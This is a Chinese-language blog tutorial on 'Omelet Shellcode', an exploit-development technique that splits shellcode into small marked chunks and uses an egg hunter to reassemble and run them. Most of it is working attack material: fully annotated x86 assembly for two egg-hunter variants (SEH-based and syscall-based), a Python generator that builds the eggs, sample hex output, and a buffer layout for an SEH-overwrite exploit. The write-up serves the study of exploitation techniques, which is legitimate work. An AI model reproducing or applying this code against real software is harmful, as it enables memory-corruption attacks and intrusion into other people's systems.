作者:riusksk(泉哥)
主页:http://riusksk.blogbus.com
前言
由于在实际溢出利用中,我们可能会遇到内存中没有足够的空间来存放我们的shellcode,但我们又可以控制多块小内存空间的内容,那些此时我们就可使用shellcode分段执行技术来进行利用,这种方法在国外被称为“Omelet Shellcode”,属于egg hunt shellcode的一种形式,它先在用户地址空间中寻找与其相匹配的各个小内存块(egg),然后再将其重构成一块大块的shellcode,最后执行它。此项技术最初是由荷兰著名黑客SkyLined在其主页上公布的(具体代码参见附件),该黑客先前就职于Microsoft,但于2008年初转入Google,同时他也是著名的字母数字型shellcode编码器Alpha2 / Alpha3的开发者。
原理分析
将Shellcode拆分成固定大小的多个代码块,各个代码块中包含有其字节大小size,索引值index,标记marker(3 字节)和数据内容data,如图1所示:
图1
当egghunter代码开始执行时,它会在用户内存空间中(0x00000000~0x80000000)搜索这些被标记的小块,然后在内存中重构成最初的shellcode并执行它。而当shellcode执行时,它还会安装SEH以处理访问违例时的情况。若出现访问违例,则SEH handler会将地址与0xFFF进行或运算,然后再加1,相当于进入下一内存页,以跳过不可读取的内存页。如果搜索的内存地址大于0x7FFFFFFF,那么终止搜索,并在内存中重构shellcode用于执行,否则重置栈空间,防止因递归进行异常处理而将栈空间耗尽,它会重新设置SEH handler并继续搜索内存。相应代码如下:
reset_stack: ; 重置栈空间以防止递归进行异常处理时耗尽栈空间,并设置自己的异常处理例程以处理扫描内存时出现的访问违例情况 XOR EAX, EAX ; EAX = 0,并作为计数器 MOV ECX, [FS:EAX] ; ECX = SEH结构链表 find_last_SEH_loop: MOV ESP, ECX ; ESP = SEH结构 POP ECX ; ECX = 下一个SEH结构指针 CMP ECX, 0xFFFFFFFF ; 判断是否是最后一个SEH结构 JNE find_last_SEH_loop ; 不是则跳走并继续查找 POP EDX ; 最后一个SEH结构中的异常处理例程handler CALL create_SEH_handler ; 自定义SEH handler SEH_handler: POPA ; ESI = [ESP + 4] -> struct exception_info LEA ESP, [BYTE ESI+0x18] ; ESP = struct exception_info->exception_address POP EAX ; EAX = exception address 0x???????? OR AX, 0xFFF ; EAX = 0x?????FFF INC EAX ; EAX = 0x?????FFF + 1 -> next page JS done ; EAX > 0x7FFFFFFF ===> done XCHG EAX, EDI ; EDI => next page JMP reset_stack
create_SEH_handler: PUSH ECX ; 指向下一个SEH结构,这里为0xFFFFFFFF MOV [FS:EAX], ESP ; 设置当前的SEH为自定义的SEH_handler CLD ; 清除方向标志位DF,从0开始扫描内存 scan_loop: MOV AL, egg_size ; EAX = egg_size egg_size_location equ $-1 - $$ REPNE SCASB ; 从地址0x00000000开始循环扫描以egg_size字节开头的内存块 PUSH EAX ; 找到后保存egg_size MOV ESI, EDI ; ESI = 相匹配内存块的地址 LODSD ; EAX = II M2 M3 M4,索引值(1字节)与标记值(3字节) XOR EAX, (marker << 8) + 0xFF ; EAX = (II M2 M3 M4) ^ (FF M2 M3 M4) == egg_index marker_bytes_location equ $-3 - $$ CMP EAX, BYTE max_index ; 检测EAX值是否小于 max_index max_index_location equ $-1 - $$ JA reset_stack ; 不是则跳走并继续搜索内存
POP ECX ; ECX = egg_size IMUL ECX ; EAX = egg_size * egg_index == egg_offset ; 这里是有带符号相乘,由于ECX * EAX总小于0x1000000,所以EDX=0 ADD EAX, [BYTE FS:EDX + 8] ; EDI += Bottom of stack == position of egg in shellcode. XCHG EAX, EDI copy_loop: REP MOVSB ; 将匹配的内存块复制到栈空间以重构成完整的shellcode MOV EDI, ESI ; EDI指向当前匹配内存块的末尾,在拷贝完第一块内存块后继续搜索第二块, ; 以此类推,直至所有的内存块全部搜索到并复制到栈上 最后就是跳到栈底去执行重构后的shellcode: done: XOR EAX, EAX ; EAX = 0 CALL [BYTE FS:EAX + 8] ; 从栈中shellcode的起始地址开始执行
注意:由于此份代码只搜索0x00000000~0x80000000之间的用户内存空间,因此对于开启/3Gb(0x00000000~0xC000000)开关的系统并不适用,若应用在这样的系统上就可能会导致部分egg内存块未搜索到,以致无法正确地执行shellcode。
在2010年8月,由Exploit编写系列教程的作者Peter Van Eeckhoutte编写的egg-to-omelet hunter程序在其博客上公布了(详细源码参见附件),此份程序对原先由SkyLined编写的omelet hunter进行了改进,提高其成功率和稳定性。此份程序先从当前栈桢的末尾 (0x....ffff) 开始搜索,为了避免出现NULL字节,又让egg内存块数量nr_egg加1,因此我们还可以让它与1相比较,然后去搜索保存在eax中的内存块标记tag,此标记类似这样:
773030<seq>
Egg 1 : 77 30 30 05 Egg 2 : 77 30 30 04 Egg 3 : 77 30 30 03
BITS 32 nr_eggs equ 0x2 ; egg内存块的数量 egg_size equ 0x7b ; 每一egg内存块占127字节 jmp short start get_target_loc: push esp pop edi ; 将栈顶指针esp保存在edi中 or di,0xffff ; edi=0x....ffff,即当前栈桢的末尾 mov edx,edi ; edx=搜索的起始地址 xor eax,eax ; eax清零 mov al,nr_eggs ; eax = 内存块数量 calc_target_loc: xor esi,esi ; esi=0,作为计数器 mov si,0-(egg_size+20) ; 为每一块egg内存块添加20字节的额外空间 get_target_loc_loop: dec edi ; 往回遍历搜索当前栈桢 inc esi ; 递增计数器 cmp si,-1 ; 继续往回遍历直到ESI = -1 jnz get_target_loc_loop dec eax ; 若未找到所有的内存块则跳走并继续循环, jnz calc_target_loc ; 否则edi就指向了重组shellcode将保存的地址 xor ebx,ebx ; ebx清零,作为计数器 mov bl,nr_eggs+1 ; ebx = nr_eggs + 1,但为了避免出现NULL字节, ; 因此这里从1开始计数 ret start: call get_target_loc ; 计算出重组shellcode将保存的栈地址 jmp short search_next_address find_egg: dec edx ; 由于下面搜索是以DWORD(4字节)为单位进行字节扫描的 dec edx ; 因此这里需要edx-4 dec edx dec edx search_next_address: inc edx ; 搜索下一字节 push edx ; 保存edx push byte +0x02 pop eax ; eax = 0x02,功能号,系统调用表可参考下列网址: ; http://www.metasploit.com/users/opcode/syscalls.html int 0x2e ; 调用NtAccessCheckAndAuditAlarm cmp al,0x5 ; 判断是否访问违例(0xc0000005== ACCESS_VIOLATION) pop edx ; 重储edx je search_next_address ; 如果地址不可读则跳走 mov eax,0x77303001 ; 若可读则将索引值与标记值赋予eax add eax,ebx ; eax += ebx,这里ebx为egg内存块的计数器, ; 此时eax得到的就是各个内存块开头的标记marker, ; tag=773030<seq>,其中seq = 0x1 + number_of_remaining_eggs_to_find + 0x1, ; 比如0x77303003,0x77303004…… xchg edi,edx ; 交换edi与edx的值 scasd ; 搜索edi中是否存在eax中的标记 xchg edi,edx ; 将edi/edx的值再交换回来 jnz find_egg ; 若未找到相匹配的标记则跳走,否则edx指向找到的egg内存块 copy_egg: mov esi,edx ; ESI = EDX,保存egg内存块地址到esi留作后用 xor ecx,ecx ; ecx = 0 mov cl,egg_size ; 复制的字节数,相当于每一egg内存块大小 rep movsb ; 从esi复制到edi dec ebx ; 递增ebx,ebx为内存块计数器 cmp bl,1 ; 判断是否找到所有的egg内存块 jnz find_egg ; 没有则继续搜索 done: call get_target_loc ; 重新定位重组后shellcode所在的地址 jmp edi ; 执行shellcode
def Main(my_name, bin_file, shellcode_file, output_file, egg_size = '0x7F', marker_bytes = '0x280876'): if (marker_bytes.startswith('0x')): # 判断标记marker_bytes是否以0x开头 marker_bytes = int(marker_bytes[2:], 16) # 以16为基数(十六进制)进行整数转换 else: marker_bytes = int(marker_bytes) # 以10为基数(十进制)进行整数转换 if (egg_size.startswith('0x')): egg_size = int(egg_size[2:], 16) else: egg_size = int(egg_size) assert marker_bytes <= 0xFFFFFF, 'Marker must fit into 3 bytes.' assert egg_size >= 6, 'Eggs cannot be less than 6 bytes.' assert egg_size <= 0x7F, 'Eggs cannot be more than 0x7F (127) bytes.' bin = open(bin_file).read() # 读取bin_file文件,即负责搜索egg的bin文件 marker_bytes_location = ord(bin[-3]) # 标记值marker max_index_location = ord(bin[-2]) # 索引值index egg_size_location = ord(bin[-1]) # 各egg内存块所占的字节数 code = bin[:-3] # 用于存放分段后的部分shellcode代码 shellcode = open(shellcode_file).read() max_index = int(math.ceil(len(shellcode) / (egg_size - 5.0))) # 计算出每块egg的最大索引值,并要求其必须<=0xFF assert max_index <= 0xFF, ('The shellcode would require %X (%d) eggs of %X ' '(%d) bytes, but 0xFF (255) is the maximum number of eggs.') % ( max_index, max_index, egg_size, egg_size) marker_bytes_string = '' for i in range(0,3): marker_bytes_string += chr(marker_bytes & 0xFF) # 将标记值与0xFF进行与运算 marker_bytes >>= 8 # 右移8位,相当于将标记值转换成0x280876ff max_index_string = chr(max_index) egg_size_string = chr(egg_size - 5) # 扣去字节大小(1字节),索引值(1字节)和标记(3字节)所占用的5字节 # insert variables into code code = code[:marker_bytes_location] + marker_bytes_string + code[marker_bytes_location+3:] code = code[:max_index_location] + max_index_string + code[max_index_location+1:] code = code[:egg_size_location] + egg_size_string + code[egg_size_location+1:] output = [ '// This is the binary code that needs to be executed to find the eggs, ', '// recombine the orignal shellcode and execute it. It is %d bytes:' % ( len(code),), 'omelet_code = "%s";' % HexEncode(code), '', '// These are the eggs that need to be injected into the target process ', '// for the omelet shellcode to be able to recreate the original shellcode', '// (you can insert them as many times as you want, as long as each one is', '// inserted at least once). They are %d bytes each:' % (egg_size,) ] egg_index = 0 while shellcode: egg = egg_size_string + chr(egg_index ^ 0xFF) + marker_bytes_string egg += shellcode[:egg_size - 5] # 构造出完整的egg内存块:size + index + marker + shellcode if len(egg) < egg_size: # tail end of shellcode is smaller than an egg: add pagging: egg += '@' * (egg_size - len(egg)) # 每块egg的大小是固定的(默认为127字节),不足的用'@'(0x40)填充 output.append('egg%d = "%s";' % (egg_index, HexEncode(egg))) shellcode = shellcode[egg_size - 5:] egg_index += 1 open(output_file, 'w').write('\n'.join(output)) # 写入输出文件output_file
关于使用方法,其实很简单,使用命令如下:
C:\Users\riusksk> w32_SEH_omelet.py w32_SEH_omelet.bin shellcode.bin output.txt 127 0xBADA55
// This is the binary code that needs to be executed to find the eggs, // recombine the orignal shellcode and execute it. It is 82 bytes: omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0 ... \xFF\x50\x08"; // These are the eggs that need to be injected into the target process // for the omelet shellcode to be able to recreate the original shellcode // (you can insert them as many times as you want, as long as each one is // inserted at least once). They are 127 bytes each: egg0 = "\x3B\xFF\x76\x08\x28\x33\xC9\x64\x8B\x71\x30\x8B ... \x57\x51\x57"; egg1 = "\x3B\xFE\x76\x08\x28\x8D\x7E\xEA\xB0\x81\x3C\xD3 ... \x24\x03\xCD"; egg2 = "\x3B\xFD\x76\x08\x28\x0F\xB7\x3C\x79\x8B\x4B\x1C ... \x47\xF1\x01";
【junk】【nseh(jmp 06)】【seh(pop pop ret)】【nops】【omelet_code】【junk】【egg0】【junk】【egg1】【junk】【egg2】
不过具体的实际漏洞利用还得受一些操作环境影响,得视具体情况进行变化,同时还需要一点运气!
结语
本文就Omelet Shellcode进行简单地分析,阐述了shellcode分段执行技术的基本原理,并对其使用进行简单的讲解,以帮助大家更好地理解并应用好Omelet Shellcode。在本文是笔者只是起到了一个抛砖引玉的作用,关于shellcode的编写还有很多技术性,同时也需要一定的艺术性,这些都需要靠大家共同来打造和分享,如果你有更多关于这方面的资料和技术,希望可以跟我分享。